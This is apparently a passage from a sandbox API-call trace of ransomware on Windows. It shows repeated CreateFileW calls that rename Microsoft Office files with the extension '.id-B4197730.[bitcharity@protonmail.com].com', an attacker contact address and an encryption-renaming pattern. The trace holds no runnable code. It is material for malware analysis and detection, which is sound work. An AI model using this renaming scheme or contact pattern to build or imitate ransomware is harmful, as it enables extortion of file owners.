CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.918] CloseHandle (hObject=0x1074) returned 1 [0272.918] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.918] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.919] CloseHandle (hObject=0x1074) returned 1 [0272.920] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.920] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.920] CloseHandle (hObject=0x1074) returned 1 [0272.921] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.921] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.922] CloseHandle (hObject=0x1074) returned 1 [0272.923] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.923] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.923] CloseHandle (hObject=0x1074) returned 1 [0272.923] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.923] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.924] CloseHandle (hObject=0x1074) returned 1 [0272.924] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.925] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemui.msi.16.en-us.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.925] CloseHandle (hObject=0x1074) returned 1 [0272.925] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.925] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.926] CloseHandle (hObject=0x1074) returned 1 [0272.927] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.927] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.927] CloseHandle (hObject=0x1074) returned 1 [0272.929] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.929] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.072] CloseHandle (hObject=0x1074) returned 1 [0273.667] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.667] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.667] CloseHandle (hObject=0x1154) returned 1 [0273.668] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.668] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.668] CloseHandle (hObject=0x1154) returned 1 [0273.669] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.669] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.669] CloseHandle (hObject=0x1154) returned 1 [0273.670] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.670] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.670] CloseHandle (hObject=0x1154) returned 1 [0273.671] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.671] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.671] CloseHandle (hObject=0x1154) returned 1 [0273.672] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.672] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.672] CloseHandle (hObject=0x1154) returned 1 [0273.674] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.674] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.674] CloseHandle (hObject=0x1154) returned 1 [0273.678] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.678] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.679] CloseHandle (hObject=0x1154) returned 1 [0273.680] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.680] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.680] CloseHandle (hObject=0x1154) returned 1 [0273.680] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.680] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.681] CloseHandle (hObject=0x1154) returned 1 [0273.681] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.681] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.681] CloseHandle (hObject=0x1154) returned 1 [0273.684] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.684] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\currency.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.684] CloseHandle (hObject=0x1154) returned 1 [0273.685] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.685] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.HTM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\currency.htm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.685] CloseHandle (hObject=0x1154) returned 1 [0273.686] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.686] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\dadshirt.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.686] CloseHandle (hObject=0x1154) returned 1 [0273.687] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.687] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.HTM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\dadshirt.htm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.688] CloseHandle (hObject=0x1154) returned 1 [0273.688] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.688] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\judgesch.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.688] CloseHandle (hObject=0x1154) returned 1 [0273.689] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.689] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.HTM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\judgesch.htm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.689] CloseHandle (hObject=0x1154) returned 1 [0273.690] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.690] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\jungle.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.690] CloseHandle (hObject=0x1154) returned 1 [0273.691] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.691] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.HTM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\jungle.htm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.691] CloseHandle (hObject=0x1154) returned 1 [0273.692] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.692] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.HTM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\notebook.htm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.692] CloseHandle (hObject=0x1154) returned 1 [0273.693] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.693] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\notebook.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.694] CloseHandle (hObject=0x1154) returned 1 [0273.694] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.694] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\offisupp.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.695] CloseHandle (hObject=0x1154) returned 1 [0273.695] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.696] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.HTM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: 